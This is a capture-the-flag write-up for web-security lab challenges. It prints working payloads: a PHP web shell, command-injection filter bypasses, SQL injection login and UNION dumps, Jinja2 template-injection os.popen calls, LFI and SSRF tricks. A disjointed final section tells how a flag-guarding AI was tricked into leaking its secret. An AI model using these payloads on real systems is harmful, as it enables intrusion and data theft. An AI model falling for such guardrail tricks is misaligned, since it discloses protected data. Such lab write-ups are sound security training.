# 01 - Broken Access Control
## BAC01
Problem: [http://ctfd-ais3.crazyfirelee.tw:9001/]

If you try entering a random username, you'll get a note saying that you now have user permission.
![Screenshot 2024-08-17 at 1.53.18 PM](https://hackmd.io/_uploads/BkKEjhacC.png)
However, there's no sign of flag so we should probably try getting the admin permission. This can be accomplished by simply changing the url from "/user" to "/admin".

## BAC02
Problem: [http://ctfd-ais3.crazyfirelee.tw:9002/]
Go to the product list and check the products out one by one.
![Screenshot 2024-08-17 at 3.21.40 PM](https://hackmd.io/_uploads/H1QAkRacR.png)

When checking them out, pay close attention to the url. You'll notice that number 4 is missing so let's change the url to number 4 to see what'll happen.
![Screenshot 2024-08-17 at 3.24.20 PM](https://hackmd.io/_uploads/HkdIgRp5A.png)

Congrats! You get the flag~ 

## BAC03
Problem: [http://ctfd-ais3.crazyfirelee.tw:9003/]

Open your terminal and use "curl" command to retrieve the raw data from the url provided. 
![Screenshot 2024-08-17 at 4.04.45 PM](https://hackmd.io/_uploads/Sk9JcC650.png)

By adding "admin" after the forward slash, the terminal displays an administrative dashboard that contains the flag.




# 02 - File Upload

## FIL01
Problem: [http://ctfd-ais3.crazyfirelee.tw:9011/]

Create a php file with this: `<?php system($_GET['cmd']);?>` and upload the file to server.
![Screenshot 2024-08-17 at 4.11.53 PM](https://hackmd.io/_uploads/SJxPsAT9C.png)

Because the server does not filter the uploaded file types, we successfully get`/uploads/a764c_108.160.138.201.php` which is the location where the file is sent.

Then we can alter the url to go to that location and cat the flag by adding `?cmd=cat%20../FLAG`
![Screenshot 2024-08-17 at 4.19.29 PM](https://hackmd.io/_uploads/Sk7bRRT9R.png)

## FIL02

Problem: [http://ctfd-ais3.crazyfirelee.tw:9012/]

Similar to the previous problem, the first thing is to upload a php file that contains `<?php system($_GET['cmd']);?>`

![Screenshot 2024-08-17 at 4.26.18 PM](https://hackmd.io/_uploads/r1HJyyC5A.png)

However, you'll get an error for that because the server filters out unwanted file types.

In order to solve this, we need to trick the server by editing the file name into "xxx.jpg.php" and uploading the file. Then use Burp Suite to intercept the request so that we can manipulate the `Content-Type`
![Screenshot 2024-08-17 at 4.36.13 PM](https://hackmd.io/_uploads/Hk4OZkR5C.png)

The rest is the same as the previous problem. You can do it!




# 03 - Local File Inclusion

## LFI01

Problem: [http://ctfd-ais3.crazyfirelee.tw:9021/]

Click `View Page Source` and find the img.
![Screenshot 2024-08-17 at 4.42.36 PM](https://hackmd.io/_uploads/ByYuNy09A.png)

Check it out and change the url by replacing file with `php://filter/read=convert.base64-encode/resource=index.php`

After that, you'll get a base64 encoded message. Decode it and use the given username and password to find the flag.
![Screenshot 2024-08-17 at 4.55.14 PM](https://hackmd.io/_uploads/B1viH1Cc0.png)

## LFI02
Problem: [http://ctfd-ais3.crazyfirelee.tw:9022/]

Upload a php file that contains `<?php system($_GET['cmd']);?>` 
![Screenshot 2024-08-17 at 4.58.31 PM](https://hackmd.io/_uploads/HJomw1C9R.png)

Visit the location of the file using `/post.php?form=/tmp/f1163_108.160.138.201.php&cmd=ls` to receive more info.
![Screenshot 2024-08-17 at 5.05.17 PM](https://hackmd.io/_uploads/r1-QdyR9A.png)

Now that the flag file is revealed, we can cat it to display the flag.




# 04 - Cross-Site Scripting

## XSS01

Problem: [http://ctfd-ais3.crazyfirelee.tw:9031/]

If you observe carefully, you'll see that you can include `<script></script>` directly in the text box and they will be executed as html code.

Therefore, we can exploit that by entering `<script>alert(FLAG)</script>`
![Screenshot 2024-08-17 at 7.03.15 PM](https://hackmd.io/_uploads/H1x3Q-Rc0.png)




# 05 - Command Injection

## CMD01

Problem: [http://ctfd-ais3.crazyfirelee.tw:9041/]

Input `;ls` to list out all the files (";" allows you to execute multiple commands sequentially)
![Screenshot 2024-08-17 at 9.43.06 AM](https://hackmd.io/_uploads/ByeIeYT5C.png)

Use `;cat FLAG` to display the content in the FLAG file
![Screenshot 2024-08-17 at 9.43.21 AM](https://hackmd.io/_uploads/rJFIeKp5A.png)

## CMD02

Problem: [http://ctfd-ais3.crazyfirelee.tw:9042/]

Try `;ls` first but you'll get an error
![Screenshot 2024-08-17 at 9.53.07 AM](https://hackmd.io/_uploads/rycczFp90.png)

Since some of the common command injection are banned, we'll have to write part of the command as a string to bypass the restriction.
![Screenshot 2024-08-17 at 9.55.05 AM](https://hackmd.io/_uploads/rJLBXtp5A.png)

Use `;'c'at FLAG` to display the content in the FLAG file.
![Screenshot 2024-08-17 at 9.56.37 AM](https://hackmd.io/_uploads/ryd_mt6qC.png)




# 06 - SQL Injection

## SQL01

Problem: [http://ctfd-ais3.crazyfirelee.tw:9051/]

Try randomly enter a username and password
![Screenshot 2024-08-17 at 9.59.26 AM](https://hackmd.io/_uploads/S1CXNKaqR.png)

We are hoping to log in as administrator without having to enter the correct password.

Here is the code to check if your username and password are valid:
-> `SELECT * FROM Users WHERE Name ="" AND Passwd =""`

By inputing "admin' or 1=1-- -" the system would read 
-> `SELECT * FROM Users WHERE Name ="admin' or 1=1-- -" AND Passwd =""`
![Screenshot 2024-08-17 at 7.18.28 PM](https://hackmd.io/_uploads/B1eQDWCqR.png)

Since `1=1` is always true and `passwd` is turned into a comment, we can successfully log in as admin and retrieve the flag.

## SQL02

Problem: [http://ctfd-ais3.crazyfirelee.tw:9052/]

Database structure: database > table > column > data (for more detailed info, visit https://ithelp.ithome.com.tw/articles/10240102)

For this problem, we need to dissect the database step by step, following this layered structure.
However, before we start, we need to figure out how many columns each database has. We can try entering `asd' UNION SELECT 1, 2, 3 FROM Information_schema.schemata -- -`
![Screenshot 2024-08-18 at 12.32.53 AM](https://hackmd.io/_uploads/BJvAgLA5A.png)

Three is obviously the wrong answer so let's try four.`asd' UNION SELECT 1, 2, 3, 4 FROM Information_schema.schemata -- -`
![Screenshot 2024-08-18 at 12.34.05 AM](https://hackmd.io/_uploads/HyfMWLCcR.png)

There seems to be something interesting in column 2 so let's try `waef' UNION SELECT 1, schema_name, 3, 4 FROM Information_schema.schemata WHERE 1=1 -- -`
![Screenshot 2024-08-18 at 12.35.17 AM](https://hackmd.io/_uploads/ryeOW809A.png)

You can test them one by one but you'll soon figure out that the one(database) we want is "ApexPredators".
So enter this `ytk' UNION SELECT 1, table_name, 3, 4 FROM Information_schema.tables WHERE table_schema='ApexPredators' -- -` to find the table(s) under ApexPredators database.
![Screenshot 2024-08-18 at 1.16.58 AM](https://hackmd.io/_uploads/BkmIjUCcA.png)

Now that the "users" table is targeted, let's dive into it to explore its columns using `QWER' UNION SELECT 1, column_name, 3, 4 FROM Information_schema.columns WHERE table_name='users' -- -`
![Screenshot 2024-08-18 at 12.40.54 AM](https://hackmd.io/_uploads/rJZZsIA90.png)

To extract the data from the columns that we want, enter `ohjg' UNION SELECT id, username, password, isAdmin FROM ApexPredators.users WHERE 1=1 -- -`

![Screenshot 2024-08-18 at 1.09.30 AM](https://hackmd.io/_uploads/SJxujIAqR.png)

Since "KubenBlisk" looks sus, we should try using its username and passwd to log in.
![Screenshot 2024-08-18 at 1.21.53 AM](https://hackmd.io/_uploads/HyJIhI0qA.png)

BOOM, that's how you get the FLAG!!!




# 07 - Server-Side Template Injection

## STI01

Problem: [http://ctfd-ais3.crazyfirelee.tw:9061/]

HUGE Tip: If you ever feel stuck on a problem, google xxx cheat sheet. (bc that's what I did for this question)

Go to this cheat sheet (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---basic-injection) and you'll find a payload that looks like this: `{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}`

We can alter that payload into `{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() }}` to list all the files.
![Screenshot 2024-08-17 at 11.42.55 PM](https://hackmd.io/_uploads/S1iLBHC5R.png)

Now that we know there's a file named FLAG, let's cat it using `{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read() }}`.
![Screenshot 2024-08-17 at 11.46.44 PM](https://hackmd.io/_uploads/rkpeUrAqC.png)

## STI02

Problem: [http://ctfd-ais3.crazyfirelee.tw:9051/]

For some unknown reason, I was able to solve this problem using the exact same method as the previous one.
You can simply get the flag by using `{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read() }}`
![Screenshot 2024-08-17 at 11.46.44 PM](https://hackmd.io/_uploads/B1PiirA9C.png)




# 08 - Server-Side Request Forgery

## SRF01

Problem: [http://ctfd-ais3.crazyfirelee.tw:9071/ (Flag Location : /app/FLAG)]

Given that the flag is located at /app/FLAG, we can try entering `file:///app/FLAG` to look for the flag.
![Screenshot 2024-08-17 at 8.46.18 PM](https://hackmd.io/_uploads/SJmo2zRq0.png)

By inspecting the page source, we will notice a suspicious img returned by the server.
![Screenshot 2024-08-17 at 8.49.45 PM](https://hackmd.io/_uploads/rJBq6MAcR.png)

Throw it into base64 decoder and you will retrieve the flag!

## SRF02

Problem: [http://ctfd-ais3.crazyfirelee.tw:9072/]

The "Admin Panel" looks pretty sus so let's check it out first.
![Screenshot 2024-08-17 at 8.59.20 PM](https://hackmd.io/_uploads/SkSObBC9A.png)

We now know that we need to access some sort of local page. Try entering`http://localhost/local`
![Screenshot 2024-08-17 at 8.57.47 PM](https://hackmd.io/_uploads/HynXMrA9R.png)

Same as the previous problem, check the page source and decode the img src.
![Screenshot 2024-08-17 at 11.31.39 PM](https://hackmd.io/_uploads/ry9cMrC5A.png)

Just like that and you get the flag!

```
![Screenshot 2024-08-18 at 9.46.32 AM](https://hackmd.io/_uploads/SyknG0090.png)

Because the generative AI is banned from revealing the flag directly, we can ask it to seperate each letter using period. In that way, it wouldn't notice that it is disclosing the flag.

## AI Markdown 文章翻譯

Problem: [http://ctfd-ais3.crazyfirelee.tw:9104/]

Since English is not available...Let's try intercepting the request and change "target_lang" into "English".
Then use STI to retrieve the flag.
![Screenshot 2024-08-18 at 10.18.48 AM](https://hackmd.io/_uploads/ryzwcRRcC.png)

Let's start with this payload first `{{cycler.__init__.__globals__.os.popen('ls').read() }}`
![Screenshot 2024-08-18 at 10.25.17 AM](https://hackmd.io/_uploads/H1DTj00c0.png)

You'll notice that there's a file named flag so go ahead and cat it. `{{cycler.__init__.__globals__.os.popen('cat flag').read() }}`

The trick here is that it can't really do math, so by throwing it a math question, it becomes a bit stupid and reveals the flag. Piece of cake~ (that's bs)
